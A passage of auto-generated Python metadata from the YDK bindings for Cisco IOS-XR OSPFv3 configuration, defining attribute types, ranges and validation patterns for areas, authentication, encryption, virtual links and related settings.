_MetaInfoClassMember('algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationEnum',
[], [],
''' Use the MD5 or SHA1 algorithm
''',
'algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec AH authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'authentication',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.VirtualLinks.VirtualLink.Encryption' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.VirtualLinks.VirtualLink.Encryption',
False,
[
_MetaInfoClassMember('authentication-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationType2Enum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationType2Enum',
[], [],
''' Use the NULL, MD5 or SHA1 algorithm
''',
'authentication_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('authentication-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'authentication_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3EncryptionAlgorithmEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3EncryptionAlgorithmEnum',
[], [],
''' Specify the encryption algorithm
''',
'encryption_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Encryption password
''',
'encryption_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec ESP authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'encryption',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.VirtualLinks.VirtualLink' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.VirtualLinks.VirtualLink',
False,
[
_MetaInfoClassMember('virtual-link-address', ATTRIBUTE, 'str' , None, None,
[], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'],
''' Router ID of virtual link neighbor
''',
'virtual_link_address',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('authentication', REFERENCE_CLASS, 'Authentication' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.VirtualLinks.VirtualLink.Authentication',
[], [],
''' Authenticate OSPFv3 packets
''',
'authentication',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('dead-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Interval after which a neighbor is declared
dead (in seconds)
''',
'dead_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enabled virtual link
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption', REFERENCE_CLASS, 'Encryption' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.VirtualLinks.VirtualLink.Encryption',
[], [],
''' Encrypt and authenticate OSPFv3 packets
''',
'encryption',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('hello-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Time between HELLO packets
''',
'hello_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('retransmit-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit interval in seconds
''',
'retransmit_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('transmit-delay', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit delay in seconds
''',
'transmit_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'virtual-link',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.VirtualLinks' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.VirtualLinks',
False,
[
_MetaInfoClassMember('virtual-link', REFERENCE_LIST, 'VirtualLink' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.VirtualLinks.VirtualLink',
[], [],
''' Router ID of virtual link neighbor
''',
'virtual_link',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'virtual-links',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress',
False,
[
_MetaInfoClassMember('address', ATTRIBUTE, 'str' , None, None,
[], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'],
''' Area ID if in IP address format
''',
'address',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('area-scope', REFERENCE_CLASS, 'AreaScope' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope',
[], [],
''' Area Scope Configuration
''',
'area_scope',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('authentication', REFERENCE_CLASS, 'Authentication' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Authentication',
[], [],
''' Authenticate OSPFv3 packets
''',
'authentication',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('bfd', REFERENCE_CLASS, 'Bfd' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Bfd',
[], [],
''' Configure BFD parameters
''',
'bfd',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('cost', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Interface cost
''',
'cost',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('database-filter', REFERENCE_CLASS, 'DatabaseFilter' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.DatabaseFilter',
[], [],
''' Database filter
''',
'database_filter',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('dead-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Interval after which a neighbor is declared
dead (in seconds)
''',
'dead_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('default-cost', ATTRIBUTE, 'int' , None, None,
[('0', '16777215')], [],
''' Set the summary default-cost of a NSSA/stub
area
''',
'default_cost',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('demand-circuit', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable demand circuit operation
''',
'demand_circuit',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('distribute-list', REFERENCE_CLASS, 'DistributeList' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.DistributeList',
[], [],
''' Filter prefixes to/from RIB
''',
'distribute_list',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enable OSPFv3 area
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption', REFERENCE_CLASS, 'Encryption' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Encryption',
[], [],
''' Encrypt and authenticate OSPFv3 packets
''',
'encryption',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('flood-reduction', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable flood reduction
''',
'flood_reduction',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('hello-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Time between HELLO packets
''',
'hello_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('instance', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' Instance ID
''',
'instance',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('interfaces', REFERENCE_CLASS, 'Interfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces',
[], [],
''' OSPFv3 interfaces
''',
'interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('ldp-sync', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/Disable MPLS LDP sync
''',
'ldp_sync',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('mtu-ignore', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable ignoring of MTU in DBD packets
''',
'mtu_ignore',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('network', REFERENCE_ENUM_CLASS, 'Ospfv3NetworkEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3NetworkEnum',
[], [],
''' Specify network type
''',
'network',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('nssa', REFERENCE_CLASS, 'Nssa' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Nssa',
[], [],
''' Specify area as a NSSA area. Allowed only in
non-backbone areas
''',
'nssa',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('packet-size', ATTRIBUTE, 'int' , None, None,
[('256', '10000')], [],
''' Limit size of OSPFv3 packets
''',
'packet_size',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('passive', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable routing updates on an interface
''',
'passive',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('prefix-suppression', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable prefix suppression on an
interface
''',
'prefix_suppression',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('priority', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' Specify router priority
''',
'priority',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('ranges', REFERENCE_CLASS, 'Ranges' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Ranges',
[], [],
''' Range configuration
''',
'ranges',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('retransmit-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit interval in seconds
''',
'retransmit_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('sham-links', REFERENCE_CLASS, 'ShamLinks' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.ShamLinks',
[], [],
''' Sham Link sub-mode
''',
'sham_links',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('stub', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Specify area as a stub area. Allowed only in
non-backbone areas
''',
'stub',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('transmit-delay', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit delay in seconds
''',
'transmit_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('virtual-links', REFERENCE_CLASS, 'VirtualLinks' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.VirtualLinks',
[], [],
''' Virtual link sub-mode
''',
'virtual_links',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'area-address',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Authentication' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Authentication',
False,
[
_MetaInfoClassMember('algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationEnum',
[], [],
''' Use the MD5 or SHA1 algorithm
''',
'algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec AH authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'authentication',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Bfd' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Bfd',
False,
[
_MetaInfoClassMember('detection-multiplier', ATTRIBUTE, 'int' , None, None,
[('2', '50')], [],
''' Detect multiplier
''',
'detection_multiplier',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-detect-mode', REFERENCE_ENUM_CLASS, 'Ospfv3BfdEnableModeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3BfdEnableModeEnum',
[], [],
''' Enable or disable BFD fast detection
''',
'fast_detect_mode',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('interval', ATTRIBUTE, 'int' , None, None,
[('3', '30000')], [],
''' Hello interval in milli-seconds
''',
'interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'bfd',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Ranges.Range' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Ranges.Range',
False,
[
_MetaInfoClassMember('prefix', ATTRIBUTE, 'str' , None, None,
[], ['((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'],
''' IPv6 prefix format
''',
'prefix',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('prefix-length', ATTRIBUTE, 'int' , None, None,
[('0', '128')], [],
''' IPV6 prefix length
''',
'prefix_length',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('cost', ATTRIBUTE, 'int' , None, None,
[('1', '16777214')], [],
''' Specified metric for this range
''',
'cost',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('not-advertise', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Do not advertise address range
''',
'not_advertise',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'range',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Ranges' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Ranges',
False,
[
_MetaInfoClassMember('range', REFERENCE_LIST, 'Range' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Ranges.Range',
[], [],
''' Summarize inter-area routes matching
prefix/length
''',
'range',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'ranges',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Encryption' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Encryption',
False,
[
_MetaInfoClassMember('authentication-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationType2Enum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationType2Enum',
[], [],
''' Use the NULL, MD5 or SHA1 algorithm
''',
'authentication_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('authentication-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'authentication_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3EncryptionAlgorithmEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3EncryptionAlgorithmEnum',
[], [],
''' Specify the encryption algorithm
''',
'encryption_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Encryption password
''',
'encryption_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec ESP authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'encryption',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Nssa' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Nssa',
False,
[
_MetaInfoClassMember('default-info-originate', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Originate Type 7 default into NSSA area
''',
'default_info_originate',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('metric', ATTRIBUTE, 'int' , None, None,
[('0', '16777214')], [],
''' Only valid with DefaultInfoOriginate
''',
'metric',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('metric-type', REFERENCE_ENUM_CLASS, 'Ospfv3MetricEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3MetricEnum',
[], [],
''' Only valid with DefaultInfoOriginate
''',
'metric_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('no-redistribution', ATTRIBUTE, 'bool' , None, None,
[], [],
''' No redistribution into this NSSA area
''',
'no_redistribution',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('no-summary', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Do not send summary LSA into NSSA
''',
'no_summary',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'nssa',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.DatabaseFilter.All' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.DatabaseFilter.All',
False,
[
_MetaInfoClassMember('out', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable or disable database-filter
''',
'out',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'all',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.DatabaseFilter' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.DatabaseFilter',
False,
[
_MetaInfoClassMember('all', REFERENCE_CLASS, 'All' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.DatabaseFilter.All',
[], [],
''' All
''',
'all',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'database-filter',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.DistributeList.In_' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.DistributeList.In_',
False,
[
_MetaInfoClassMember('prefix-list', ATTRIBUTE, 'str' , None, None,
[], [],
''' Filter prefixes based on an IPv6 prefix-list
''',
'prefix_list',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'in',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.DistributeList' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.DistributeList',
False,
[
_MetaInfoClassMember('in', REFERENCE_CLASS, 'In_' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.DistributeList.In_',
[], [],
''' Filter prefixes installed to RIB
''',
'in_',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'distribute-list',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Authentication' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Authentication',
False,
[
_MetaInfoClassMember('algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationEnum',
[], [],
''' Use the MD5 or SHA1 algorithm
''',
'algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec AH authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'authentication',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Neighbors.Neighbor' : {
